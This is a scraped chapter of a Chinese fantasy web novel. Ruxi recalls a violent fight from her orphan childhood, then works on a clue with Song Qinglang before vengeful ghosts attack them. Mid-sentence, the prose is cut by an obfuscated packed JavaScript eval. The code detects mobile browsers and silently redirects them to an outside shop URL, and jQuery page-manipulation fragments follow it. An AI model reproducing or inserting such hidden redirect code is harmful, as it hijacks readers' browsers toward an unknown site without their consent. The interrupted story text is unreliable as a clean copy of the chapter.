文趣网 > 其他小说 > 拥有两个男人是种怎样的体验 > 7. 桃叶(七)
    如溪盯着那个小木匣,思绪翻涌,脑海里一遍又一遍梳理着整件事的来龙去脉。

    正凝神思索间,耳边陡然传来一道不浅的嗓音打断了她的思绪。

    “哦?”

    如溪被这冷不丁的声音吓得一激灵,不由得颤了颤身子。

    惊魂稍定后,她连想都不用想,就已然猜到了这声音的主人是谁——宋清朗。

    宋清朗见她因自己的突然现身而打了个寒颤,挠了挠头,一脸无辜地朝如溪眨了眨眼睛,微笑着说道:“裴姑娘看什么呢?”

    如溪瞧见他那副故作无辜的模样,眼神里又疑惑又惊奇。

    自从她与宋清朗重逢后,他便总是悄无声息地踱步到她身侧,又在她不经意间飘然离去,连走路都没有声音......

    也是,以他这般通天的修为本事,无论是在何处修炼,进境都远非寻常修士所能企及的。

    如溪这样想着,脑海中不禁回想起那段沉在她心底多年的旧事。

    多年前,她因为过于瘦弱,卖不上价,被人贩子扔出了窝点,抛弃燕城某一个臭水沟里。为了生存下去,她硬生生地从臭水沟里爬了出来,随后便被街头孩童的花言巧语忽悠着加入了一个名为“孩儿帮”的流民组织。

    那孩童当时嘴上说地天花乱坠,只道这孩儿帮是这座城里流落街头的孤儿们自发结成的群体,里面的孩子们都会互相帮衬、彼此照应,是他们这群无家可归之人唯一的庇护所。

    可真正踏入,并且亲身领教过帮里的生存规则后,如溪才明白,孩儿帮根本算不上什么庇护所,而是一个微型的江湖,规则很简单:大的欺负小的,强的抢弱的,快的骗慢的。

    但无论如何,为了能讨口饭吃,她还是咬着牙,加入了这个所谓的孩儿帮。

    那时的如溪才八岁,身形瘦小单薄,骨架纤细,又天生性子内敛,不爱说话,在一众泼皮顽劣的孩子们眼中,这样的人简直就是他们最合心意的欺辱对象。

    于是顺理成章地,她便被大孩子们肆意地推搡进泥坑里,又或者一有祸事,她就会被当做替罪羊,推到大人们面前挨打。就连她好不容易寻来的半块馒头也都被他们蛮横地抢走……

    桩桩件件,都让年幼的如溪满心疑惑,大家明明都是同病相怜的孩子,也都无父无母、无依无靠,现如今唯一可以依靠的便是同为孤苦人儿的孩儿帮同伴。

    可为何,这些本该报团取暖的孩儿们同伴们,为什么都学着大人的模样,个个都这么心肠歹毒、自私凉薄、顽劣不堪?

    难道就因为她年纪最小、个子最小、性子最沉,看上去软弱可欺,他们便可以这般肆无忌惮地去欺负她、伤害她吗?

    于是,当她再一次被人推搡着摔进冰冷的泥坑里时,她并没有像从前那样沉默地任由他们哄笑与嘲讽,而是迅速地抹掉糊在眼睛上的泥巴,纤细的手里紧紧攥着一团湿冷的泥巴。

    下一瞬,她用尽全身力气,将那团泥巴狠狠地朝人群中抛了出去。

    泥巴正中为首最高大蛮横的男孩的脸。

    他瞬间气急败坏,用胳膊胡乱蹭掉脸上的污泥,再猛地一撸袖子,面露凶色,摆出一副要将她生吞活剥的模样,势必要好好教训一下眼前这个不知天高地厚的小女孩。

    而这场闹剧的最后,是以如溪咬掉了那个男孩胳膊上的一块肉,以及宋清朗的出面阻止而结尾。

    宋清朗是无咎国燕城城主的儿子,天资卓越,心性纯粹,从小受他父母的教诲所影响,立志为天下所有人讨要公平,讨要正义。

    如溪摇摇晃晃地站起身,侧身躲过男孩迎面而来的拳头,旋即弯腰从他臂下灵巧地钻出,上顶膝盖,精准地踢在男孩的要命之处。

    “啊——!!!”

    一声凄厉的惨叫在如溪耳边炸开,男孩被踢到要命之处,当即跪倒在地,双手死死地捂着裆部,浑身发抖,此刻竟连站直的力气都荡然无存。

    如溪本以为他会就此收手,转身便要离去,却不想被那男孩一把薅住头发,死命往后猛拖。

    头皮传来的撕裂感让如溪眼前发黑,但她还是忍着剧痛,攥紧自己的头发,顺着他的力道猛地反身,用额头拼命撞向他的头部。

    趁对方吃痛之时,她张口咬住他的胳膊,任凭男孩如何疯了一般推搡她、拍打她,她硬是不松口,反倒加强力度,将口齿在他的肉中越陷越深。

    直到旁边一群看热闹的孩童被这场面吓破了胆,才七手八脚地将二人撕扯分开。

    “我…我的胳膊……我的胳膊啊!!”

    男孩整个人摊在地上,难以置信地盯着着自己鲜血淋淋、残缺了一块肉的胳膊,撕心裂肺地尖叫起来。

    看吧,这就是招惹我的下场。

    “我要杀了你偿命!!我今天非要弄死你不可!!!”

    偿命?

    如溪面无表情地吐掉嘴里那团黏腻的东西,抬手擦去嘴角的血渍。

    那便来吧,有本事你就把我踩在脚下。

    男孩显然已经失去了理智,不顾周遭人群劝阻,疯了般抄起旁边农户搁置在地的铁锹,嘶喊着朝如溪劈过去。

    砰——

    一声闷响。

    如溪正要再次侧身躲过男孩的攻击,却眼睁睁看见,男孩在即将接触到自己的刹那间,仿佛撞到了一堵看不见的墙,瞬间被反弹了回去。

    他整个人被震出十米开外的位置,铁锹脱手扬起,旋即重重地砸在他自己的胸腹之上。

    “呃啊!!!”

    一声惨叫过后,不等他自己挣扎起身,一群身披铠甲的士兵立刻将他团团围住。

    紧接着,一道人影自逆光中缓步走来。

    孩童们瞥见此身影,也顾不上看如溪和男孩之间的热闹,纷纷拔腿而跑。

    “先去看看她伤着没有。”

    那人一声令下,身后的随从便应声朝男孩走去。

    “不是他。”那道身影制止随从,而后抬起手,遥遥一指,指向如溪,“是她。”

    如溪疑惑地抬眼瞧他,对上一双清冽的眼眸。

    “别怕。”那人温声安抚着她,“所有经过我都看在眼里,定会为你讨回一个公道。”

    …

    “裴姑娘……”

    “裴姑娘?”

    耳边两声轻唤,让如溪从纷乱的回忆中抽身而出。

    她看着面前的宋清朗,一时怔在原地。

    “裴姑娘怎么这么喜欢看我的脸呢?”宋清朗眼眸微眯,也直直地盯着如溪看。

    如溪被他看得浑身不自在,垂下眼眸避开他的目光,余光却见他依旧直直地盯着她看,索性转过身去,以背对人。

    “别看我。”

    “为何?”宋清朗很是疑惑,“裴姑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567832|204832||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    娘既能光明正大地看我,我又为何不能光明正大地看回去呢?”

    如溪被他问得一噎,一时间竟不知该如何作答,余光忽然扫到方才被她收进抽屉里的那只木匣子,这才猛然想起正事来,忙伸手一指:“这个。”

    宋清朗顺着她所指的方向看去,见是个木匣子,伸手取了过来,在掌心里轻掂几下,眉眼微挑,“这东西有蹊跷?”

    如溪见他态度散漫,劈手将木匣夺过来,掀开匣盖,两指捻出里面的信纸,竖于宋清朗眼前,“这个。”

    宋清朗接过信纸,展开细看。

    如溪看见宋清朗的目光顺着字句由上往下缓缓移动,最终定在某一处,神色中忽然浮现出一丝诧异。

    “嗯?”

    宋清朗的反应,与她如出一辙。

    显然,他也未曾料到这二人之间的关系。

    “我没想到,他们二人竟是这样复杂的关系。”

    不光是他没往这方面想过,就连如溪这样将整件事反复推敲过不知多少遍的人,也从未往这个方向想过。

    毕竟……这样的情况属实是少。

    “这是个关键线索。”如溪道,“陈有奚,也是一个关键人物。”

    她顿了顿,似是在犹豫,但最终还是继续说了下去:“如果陈有奚真如信中所说,那样爱陈璞玉的话,我觉得他对三皇子的恨,恐怕也未必比陈璞玉少上分毫。”

    宋清朗听她这么一说,忽然福至心灵。

    “裴姑娘是认为,影蛄也有可能是被陈有奚招引过来的?”

    “是。”

    话虽如此,但如溪心中其实并无太大的把握,因为这只是她的猜想罢了,但即便只是猜想,这种事情也未必没有可能。

    “我们暂且可以——”

    如溪连话都没来得及说完,耳边便猛然炸开一阵轰响。

    房屋旋即坍塌,墙壁碎裂崩解,漫天尘土翻涌,鬼魅悠长的怨语飘忽着灌入如溪的耳中。

    情势危急,二人再不敢于屋内逗留,双双从窗口一跃而出。

    直至足尖点地,身形站稳,如溪才转身回望眼前的场景。

    只见整座房屋不过片刻时间便彻底坍塌成一片废墟,先前被镇压于其下的怨魂鬼魅,此刻也从地底裂隙中争相钻出,一个个扭曲着身形,在半空中盘旋嘶啸。

    怎么回事?

    如溪正疑惑着,空中盘旋着的怨魂却骤然调转方向,直朝他们扑了过来。

    宋清朗当即拔剑出鞘,剑光乍然一出,瞬间逼退半数怨魂。

    就在这时,一声清越的笛声响起,余下原本犹豫不决的怨魂像是被蛊惑一般,再度张开獠牙,朝二人冲击过来。

    如溪慌忙环顾四周,试图寻出笛声的来源,可耳边却始终充斥着怨魂嘶吼的声音,她根本辨认不出那笛音究竟来自何处。

    眼见宋清朗即将挥剑斩向扑来的怨魂,她高声制止道:“别伤他们!”

    宋清朗闻声,当即翻转剑锋,以剑身横档,硬生生抵住了袭来的冤魂。

    “宋公子,你先撑一段时间,我来画阵。”

    画阵?

    宋清朗奋力震退怨魂,反手将剑锋插入地中,剑身骤亮,光芒旋即凝成一道屏障,暂且抵住了怨魂们接连不断的攻击。

    “裴姑娘,没有笔墨,你如何作画?”

    “用血。”